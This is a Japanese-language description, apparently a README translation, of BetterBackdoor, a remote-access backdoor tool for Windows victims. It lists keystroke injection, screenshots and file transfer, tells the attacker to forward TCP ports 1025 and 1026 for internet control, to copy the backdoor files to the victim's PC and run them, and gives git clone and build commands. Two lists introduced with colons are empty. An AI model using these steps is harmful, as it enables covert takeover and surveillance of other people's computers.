
多数の機能を備えたバックドア
バックドアは、リモートからマシンにアクセスするためのツールです。
通常、NetCat のようなバックドアユーティリティには、リモートからの入力を cmd や bash にパイプし、その応答を出力するという 2 つの主要な機能があります。 これは便利ですが、限界もあります。 BetterBackdoor は、キーストロークの注入、スクリーンショットの取得、ファイル転送、その他多くのタスクを実行できる機能を追加することで、これらの制限を克服します。
BetterBackdoor はバックドアを作成し、制御できます。
作成されたバックドアは以下のことが可能です:
このバックドアは、クライアントとサーバーのソケット接続を使用して通信します。 攻撃者がサーバーを起動し、被害者がクライアントとしてこのサーバーに接続します。 (注意:複数のクライアントが接続しようとすると、どのクライアントに接続するかを選択するよう求められます) 接続が確立されると、バックドアを制御するためのコマンドをクライアントに送信できます。
バックドアを作成するために、BetterBackdoor は次のことを行います:
バックドアは、単一ネットワーク内(LAN)およびインターネット経由(WAN)で動作できます。 ただし、WAN 経由でバックドアを使用するには、ポートフォワーディングを設定する必要があります。
WAN で使用するには、攻撃者のコンピュータでポート 1025 と 1026 を TCP で転送する必要があります。これが完了すると、被害者と攻撃者が異なるネットワークにいても、攻撃者はバックドアを制御できます。
被害者の PC でバックドアを起動するには、'backdoor' ディレクトリ内のすべてのファイルを被害者の PC に転送します。
JRE がバックドアにバンドルされている場合は run.bat を実行し、そうでなければ run.jar を実行します。
これにより、被害者の PC 上でバックドアが起動します。
起動後、バックドアを制御するには、BetterBackdoor に戻り、起動時にオプション 1 を選択する必要があります。
BetterBackdoor は Windows、Mac、Linux に対応していますが、バックドアは Windows のみに対応しています。
# clone BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux and Mac run
sh mvnw clean package
java -jar betterbackdoor.jar